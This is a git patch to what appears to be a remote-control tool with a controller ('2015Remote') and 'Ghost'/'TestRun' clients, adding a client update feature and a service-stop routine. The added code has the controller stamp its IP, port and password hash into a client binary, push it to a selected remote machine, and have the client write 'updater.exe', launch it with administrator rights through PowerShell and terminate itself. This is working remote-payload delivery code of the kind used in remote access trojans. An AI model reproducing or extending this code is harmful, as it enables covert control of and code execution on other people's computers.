From 2fb77d512b954b167585c91c451c0708711fcf76 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 20 Jan 2026 22:03:34 +0100 Subject: [PATCH] Improve: Add client update logic for client type EXE --- client/ClientDll.cpp | 5 ++ client/KernelManager.cpp | 19 ++++++ client/ServiceWrapper.c | 61 +++++++++++++++++ client/ServiceWrapper.h | 3 + client/test.cpp | 6 +- server/2015Remote/2015Remote.cpp | 8 +-- server/2015Remote/2015Remote.rc | Bin 112706 -> 113918 bytes server/2015Remote/2015RemoteDlg.cpp | 64 ++++++++++++++++-- server/2015Remote/2015Remote_vs2015.vcxproj | 2 + .../2015Remote_vs2015.vcxproj.filters | 2 + server/2015Remote/BuildDlg.cpp | 2 +- server/2015Remote/CUpdateDlg.cpp | 48 +++++++++++++ server/2015Remote/CUpdateDlg.h | 28 ++++++++ server/2015Remote/resource.h | 5 +- 14 files changed, 242 insertions(+), 11 deletions(-) create mode 100644 server/2015Remote/CUpdateDlg.cpp create mode 100644 server/2015Remote/CUpdateDlg.h diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 53a3e9b..5907778 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -265,6 +265,11 @@ int main(int argc, const char *argv[]) SAFE_CLOSE_HANDLE(hMutex); Mprintf("结束运行.\n"); + Sleep(500); + if (isService) { + Mprintf("CALL ServiceWrapper_Stop.\n"); + int r = ServiceWrapper_Stop(); + } Logger::getInstance().stop(); return 0; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 3761a23..41b30eb 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -949,6 +949,25 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) TerminateProcess(GetCurrentProcess(), 0xABCDEF); } Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile); + } else if(typ == CLIENT_TYPE_ONE){ + ULONGLONG size = 0; + memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); + const char* name = "updater.exe"; + char curFile[_MAX_PATH] = {}; + GetModuleFileName(NULL, curFile, MAX_PATH); + GET_FILEPATH(curFile, name); + DeleteFileA(curFile); + if (!WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size, name)) { + Mprintf("CKernelManager: Write \"%s\" failed.\n", curFile); + break; + } + if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) { + g_bExit = S_CLIENT_UPDATE; + Mprintf("CKernelManager: [%s] Will be executed.\n", curFile); + Sleep(1000); + TerminateProcess(GetCurrentProcess(), 0xABCDEF); + } + Mprintf("CKernelManager: [%s] Execute FAILED.\n", curFile); } else { Mprintf("=====> 客户端类型'%d'不支持文件升级\n", typ); } diff --git a/client/ServiceWrapper.c b/client/ServiceWrapper.c index 6f90429..305488a 100644 --- a/client/ServiceWrapper.c +++ b/client/ServiceWrapper.c @@ -315,6 +315,67 @@ DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam) return ERROR_SUCCESS; } + +int ServiceWrapper_Stop(void) +{ + // 打开SCM + SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCM) { + return (int)GetLastError(); + } + + // 打开服务 + SC_HANDLE hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_STOP | SERVICE_QUERY_STATUS); + if (!hService) { + int err = (int)GetLastError(); + CloseServiceHandle(hSCM); + return err; + } + + // 查询当前状态 + SERVICE_STATUS status; + if (!QueryServiceStatus(hService, &status)) { + int err = (int)GetLastError(); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return err; + } + + // 如果服务未运行,直接返回成功 + if (status.dwCurrentState == SERVICE_STOPPED) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return ERROR_SUCCESS; + } + + // 发送停止控制命令 + if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) { + DWORD err = GetLastError(); + if (err != ERROR_SERVICE_NOT_ACTIVE) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return (int)err; + } + } + + // 等待服务停止(最多3秒) + int waitCount = 0; + while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 3) { + Sleep(1000); + waitCount++; + if (!QueryServiceStatus(hService, &status)) { + break; + } + } + + int result = (status.dwCurrentState == SERVICE_STOPPED) ? ERROR_SUCCESS : ERROR_TIMEOUT; + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + return result; +} + BOOL ServiceWrapper_Install(void) { SC_HANDLE schSCManager; diff --git a/client/ServiceWrapper.h b/client/ServiceWrapper.h index 3efb22e..07545f0 100644 --- a/client/ServiceWrapper.h +++ b/client/ServiceWrapper.h @@ -62,6 +62,9 @@ int ServiceWrapper_StartSimple(void); // 返回: ERROR_SUCCESS 或错误码 int ServiceWrapper_Run(void); +// 停止服务 0- 成功,其他值-错误码 +int ServiceWrapper_Stop(void); + // 安装服务 BOOL ServiceWrapper_Install(void); diff --git a/client/test.cpp b/client/test.cpp index 12e228e..f163c66 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -319,7 +319,11 @@ int main(int argc, const char *argv[]) status = 0; Mprintf("结束运行.\n"); - Sleep(1000); + Sleep(500); + if (isService) { + Mprintf("CALL ServiceWrapper_Stop.\n"); + int r = ServiceWrapper_Stop(); + } Logger::getInstance().stop(); return 0; diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 2cf61e8..efcc0d6 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -514,14 +514,14 @@ int CMy2015RemoteApp::ExitInstance() SAFE_DELETE(m_iniFile); + Mprintf("[InitInstance] 主控程序退出运行。\n"); + Sleep(500); + // 只有在代理模式退出时才停止服务 if (IsAgentMode()) { - ServerService_Stop(); Mprintf("[InitInstance] 主控程序为代理模式,停止服务。\n"); + ServerService_Stop(); } - Mprintf("[InitInstance] 主控程序退出运行。\n"); - Sleep(1000); - return CWinApp::ExitInstance(); } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 5f6be466298eef6e87df8285fb4cb0dd9984cdcc..0621da4ed6c9355edbd2769ddc2b004c900386d3 100644 GIT binary patch delta 314 zcmX@~f$iTG0mN5pKPTpWG#u>^G zz~I8*$PhAlql+@P5rZiZ>M$rUm`)B%FrF-6H-W=FczGRnRe#*%hOT+M7C=cu1`uh= zU^MxlzVPILDJ+v8SQ;3@4PtO*h-U}}l0HD}%n$-p3$zuk&w{}W$Tns$o;=ZUGRM0z z_6)G$3ComtK@uQmLk!ms7N7j#?S}0pYZ#9(PEPoz#EoRdWW!(0K!2GqSWJJ&%oxjP zGQE(MQF3~N1mmCS936~SlLK1$rrWG%OaplmS>trUZpL7cxzm44VN{!5Fq=_qd*24e GE$jd#cUMpV delta 66 zcmezOlkLz4whbEjtcDDh3`U!E^DSAyOw-NTC5IWAEg8(44a>G0mN5pKZeOsDv4m;6 U!zRX6jFUgS-LRc+E8_=t0QpoH3;+NC diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 342a333..5185107 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -48,6 +48,7 @@ #include #include "CDlgFileSend.h" #include "CClientListDlg.h" +#include "CUpdateDlg.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -1781,17 +1782,72 @@ void CMy2015RemoteDlg::OnOnlineMessage() void CMy2015RemoteDlg::OnOnlineUpdate() { + context* ContextObject = nullptr; + EnterCriticalSection(&m_cs); + int n = m_CList_Online.GetSelectedCount(); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + if (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + ContextObject = (context*)m_CList_Online.GetItemData(iItem); + } + LeaveCriticalSection(&m_cs); + if (n != 1 || !ContextObject) { + MessageBox(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING); + return; + } if (IDYES != MessageBox(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"), _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; + PBYTE buffer = nullptr; + ULONGLONG fileSize = 0; + CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString(); + if (clientType == "EXE") { + CUpdateDlg dlg(this); + if (dlg.DoModal() != IDOK) + return; + DWORD dwFileSize = 0; + BOOL is64bit = "64" == ContextObject->GetAdditionalData(RES_PROGRAM_BITS); + std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString(); + std::string stem = path.stem().string(); + std::string dirName = path.parent_path().filename().string(); + BYTE* szBuffer = ReadResource(dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) : + (is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dwFileSize); + CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN }; + int iOffset = MemoryFind((char*)szBuffer, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen()); + if (iOffset == -1) { + SAFE_DELETE(szBuffer); + return; + } + CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(szBuffer + iOffset); + dst->SetAdminId(GetMasterHash().c_str()); + memcpy(dst->szFlag, GetMasterId().c_str(), 16); + strcpy_s(dst->szServerIP, THIS_CFG.GetStr("settings", "master", "127.0.0.1").c_str()); + strcpy_s(dst->szPort, THIS_CFG.GetStr("settings", "port", "6543").c_str()); + dst->Encrypt(); + dst->iType = dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL; + dst->iStartup = dlg.m_nSelected ? Startup_GhostMsc : Startup_TestRunMsc; + strcpy_s(dst->szBuildDate, DLL_VERSION); + memcpy(dst->pwdHash, GetPwdHash().c_str(), 64); + strcpy_s(dst->installDir, dirName.c_str()); + strcpy_s(dst->installName, stem.c_str()); - Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64]; - ULONGLONG fileSize = buf->length(true) - 6; - PBYTE buffer = new BYTE[fileSize + 9]; - if (buffer) { + fileSize = dwFileSize; + buffer = new BYTE[fileSize + 9]; + buffer[0] = COMMAND_UPDATE; + memcpy(buffer + 1, &fileSize, 8); + memcpy(buffer + 9, szBuffer, fileSize); + SAFE_DELETE_ARRAY(szBuffer); + } + else if (clientType == "DLL") { + Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64]; + fileSize = buf->length(true) - 6; + buffer = new BYTE[fileSize + 9]; buffer[0] = COMMAND_UPDATE; memcpy(buffer + 1, &fileSize, 8); memcpy(buffer + 9, buf->c_str() + 6, fileSize); + } + + if (buffer) { SendSelectedCommand((PBYTE)buffer, 9 + fileSize); delete[] buffer; } diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 24a5b2d..6e1f5c5 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -291,6 +291,7 @@ + @@ -384,6 +385,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 33acc92..2233bf2 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -65,6 +65,7 @@ + @@ -144,6 +145,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 9ca1aa8..e76c453 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -499,7 +499,7 @@ void CBuildDlg::OnBnClickedOk() if (m_sDownloadUrl.IsEmpty()) MessageBox(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示"); } tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : - checked ? "\r\n提示: 载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; + checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; } BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize); if (r) { diff --git a/server/2015Remote/CUpdateDlg.cpp b/server/2015Remote/CUpdateDlg.cpp new file mode 100644 index 0000000..54a4081 --- /dev/null +++ b/server/2015Remote/CUpdateDlg.cpp @@ -0,0 +1,48 @@ +// CUpdateDlg.cpp: 实现文件 +// + +#include "stdafx.h" +#include "afxdialogex.h" +#include "CUpdateDlg.h" +#include "resource.h" + +// CUpdateDlg 对话框 + +IMPLEMENT_DYNAMIC(CUpdateDlg, CDialogEx) + +CUpdateDlg::CUpdateDlg(CWnd* pParent /*=nullptr*/) + : CDialogEx(IDD_DIALOG_UPDATE, pParent) + , m_nSelected(0) +{ + +} + +CUpdateDlg::~CUpdateDlg() +{ +} + +void CUpdateDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect); + DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected); +} + + +BEGIN_MESSAGE_MAP(CUpdateDlg, CDialogEx) +END_MESSAGE_MAP() + + +// CUpdateDlg 消息处理程序 + +BOOL CUpdateDlg::OnInitDialog() +{ + CDialogEx::OnInitDialog(); + + // TODO: 在此添加额外的初始化 + m_ComboUpdateSelect.InsertString(0, _T("TestRun")); + m_ComboUpdateSelect.InsertString(1, _T("Ghost")); + m_ComboUpdateSelect.SetCurSel(1); + + return TRUE; +} diff --git a/server/2015Remote/CUpdateDlg.h b/server/2015Remote/CUpdateDlg.h new file mode 100644 index 0000000..03305e3 --- /dev/null +++ b/server/2015Remote/CUpdateDlg.h @@ -0,0 +1,28 @@ +#pragma once +#include "afxdialogex.h" + + +// CUpdateDlg 对话框 + +class CUpdateDlg : public CDialogEx +{ + DECLARE_DYNAMIC(CUpdateDlg) + +public: + CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数 + virtual ~CUpdateDlg(); + +// 对话框数据 +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_DIALOG_UPDATE }; +#endif + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + + DECLARE_MESSAGE_MAP() +public: + CComboBox m_ComboUpdateSelect; + virtual BOOL OnInitDialog(); + int m_nSelected; +}; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index dd0902a..f0a70e6 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -198,6 +198,8 @@ #define IDR_SCLOADER_X86_OLD 322 #define IDR_SCLOADER_X64_OLD 323 #define IDD_DIALOG_CLIENTLIST 324 +#define IDD_DIALOG7 326 +#define IDD_DIALOG_UPDATE 326 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -402,6 +404,7 @@ #define IDC_COMBO_VIDEO_WALL 2195 #define IDC_COMBO_BINDING 2195 #define IDC_COMBO_BIND 2195 +#define IDC_COMBO_UPDATE_SELECT 2195 #define IDC_EDIT_WALLET_BTC 2196 #define IDC_EDIT_WALLET_ERC20 2197 #define IDC_EDIT_EXE_FILE 2197 @@ -643,7 +646,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 326 +#define _APS_NEXT_RESOURCE_VALUE 328 #define _APS_NEXT_COMMAND_VALUE 33007 #define _APS_NEXT_CONTROL_VALUE 2228 #define _APS_NEXT_SYMED_VALUE 105